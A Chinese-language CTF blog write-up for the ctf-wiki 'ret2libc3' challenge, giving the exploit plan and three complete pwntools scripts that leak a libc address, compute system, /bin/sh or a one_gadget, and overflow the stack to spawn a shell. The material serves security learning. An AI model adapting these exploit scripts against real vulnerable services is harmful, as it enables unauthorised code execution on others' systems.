Fork me on GitHub
pikachu's Blog

ret2libc3

  • ctf-wikiret2libc3
  • 没有 system/bin/sh ,泄漏 libc

Analyse

  • 泄漏 _start 地址
  • 获取 libc 版本
  • 获取 system/bin/sh 地址
  • 再次执行源程序
  • 触发栈溢出执行 system('/bin/sh')

Exp 1

  • 自己写的 exp ,根据泄漏的地址先找到 libc
  • 到返回地址的偏移可使用 cyclic 快速判断
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    from pwn import *

    local=1
    pc='./ret2libc3'
    aslr=True
    context.log_level=True
    #context.terminal = ["deepin-terminal","-x","sh","-c"]

    libc=ELF('./libc6_2.27-3ubuntu1.2_i386.so')
    ret2libc3 = ELF('./ret2libc3')

    if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    #gdb.attach(p,'c')
    else:
    remote_addr=['111.198.29.45', 39802]
    p=remote(remote_addr[0],remote_addr[1])

    ru = lambda x : p.recvuntil(x)
    rud = lambda x : p.recvuntil(x ,drop=True)
    sn = lambda x : p.send(x)
    rl = lambda : p.recvline()
    sl = lambda x : p.sendline(x)
    rv = lambda x : p.recv(x)
    sa = lambda a,b : p.sendafter(a,b)
    sla = lambda a,b : p.sendlineafter(a,b)
    pi = lambda : p.interactive()

    def dbg(b =""):
    gdb.attach(io , b)
    raw_input()

    def lg(s, addr):
    log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))

    def raddr(a=6):
    if(a==6):
    return u64(rv(a).ljust(8,'\x00'))
    else:
    return u64(rl().strip('\n').ljust(8,'\x00'))

    if __name__ == '__main__':
    puts_plt = ret2libc3.plt['puts']
    libc_start_main_got = ret2libc3.got['__libc_start_main']
    start_addr = ret2libc3.symbols['_start']
    lg('start_addr',start_addr)

    payload = 'a' * 112
    payload += p32(puts_plt)
    payload += p32(start_addr)
    payload += p32(libc_start_main_got)
    payload += '\x00'
    sl(payload)

    ru('Can you find it !?')
    libc_start_main_addr = u32(p.recv()[0:4])
    lg('libc_start_main_addr',libc_start_main_addr)

    distance = libc.symbols['system'] - libc.symbols['__libc_start_main']
    lg('distance', distance)
    libc_base_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
    system_addr = libc_base_addr + libc.symbols['system']
    binsh_addr = libc_base_addr + libc.search("/bin/sh").next()
    lg('system_addr', system_addr)
    lg('binsh_addr', binsh_addr)

    payload = 'a' * 112
    payload += p32(system_addr)
    payload += p32(0xdeadbeef)
    payload += p32(binsh_addr)
    sl(payload)
    pi()

Exp 2

  • 先泄漏 libc ,然后使用 one_gadget
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    from pwn import *

    local=1
    pc='./ret2libc3'
    aslr=True
    context.log_level=True
    #context.terminal = ["deepin-terminal","-x","sh","-c"]

    libc=ELF('./libc6_2.27-3ubuntu1.2_i386.so')
    ret2libc3 = ELF('./ret2libc3')

    if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    #gdb.attach(p,'c')
    else:
    remote_addr=['111.198.29.45', 39802]
    p=remote(remote_addr[0],remote_addr[1])

    ru = lambda x : p.recvuntil(x)
    rud = lambda x : p.recvuntil(x ,drop=True)
    sn = lambda x : p.send(x)
    rl = lambda : p.recvline()
    sl = lambda x : p.sendline(x)
    rv = lambda x : p.recv(x)
    sa = lambda a,b : p.sendafter(a,b)
    sla = lambda a,b : p.sendlineafter(a,b)
    pi = lambda : p.interactive()

    def dbg(b =""):
    gdb.attach(io , b)
    raw_input()

    def lg(s, addr):
    log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))

    def raddr(a=6):
    if(a==6):
    return u64(rv(a).ljust(8,'\x00'))
    else:
    return u64(rl().strip('\n').ljust(8,'\x00'))

    if __name__ == '__main__':
    puts_plt = ret2libc3.plt['puts']
    libc_start_main_got = ret2libc3.got['__libc_start_main']
    start_addr = ret2libc3.symbols['_start']
    lg('start_addr',start_addr)

    payload = 'a' * 112
    payload += p32(puts_plt)
    payload += p32(start_addr)
    payload += p32(libc_start_main_got)
    sl(payload)

    ru('Can you find it !?')
    libc_start_main_addr = u32(p.recv()[0:4])
    lg('libc_start_main_addr',libc_start_main_addr)

    libc_base_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
    one_gadget = libc_base_addr + 0x3d130

    payload = 'a' * 112
    payload += p32(one_gadget)
    sl(payload)
    pi()

    """
    0x3d130 execve("/bin/sh", esp+0x40, environ)
    constraints:
    esi is the GOT address of libc
    [esp+0x40] == NULL
    """

Exp 3

  • 网上找的另一个版本使用 LibcSearcher 泄漏 libc
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    ##coding=utf-8
    from pwn import *
    from LibcSearcher import LibcSearcher

    context.binary='ret2libc3'
    sh = process('./ret2libc3')

    ret2libc3 = ELF('./ret2libc3')
    puts_plt = ret2libc3.plt['puts']
    libc_start_main_got = ret2libc3.got['__libc_start_main']
    main = ret2libc3.symbols['_start']
    print("leak main_got addr and return main")

    payload = flat(['A'*112,puts_plt,main,libc_start_main_got])
    sh.sendlineafter('Can you find it !?',payload)

    libc_start_main_addr = u32(sh.recv()[0:4])
    print(hex(libc_start_main_addr))

    libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
    libcbase = libc_start_main_addr-libc.dump('__libc_start_main')
    system_addr = libcbase+libc.dump('system')
    binsh_addr = libcbase +libc.dump('str_bin_sh')

    print("now get shell")
    payload = flat(['A'*112,system_addr,'A'*4,binsh_addr])
    sh.send(payload)
    sh.interactive()
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2020/ret2libc3/
Contact:hitcxy@hotmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!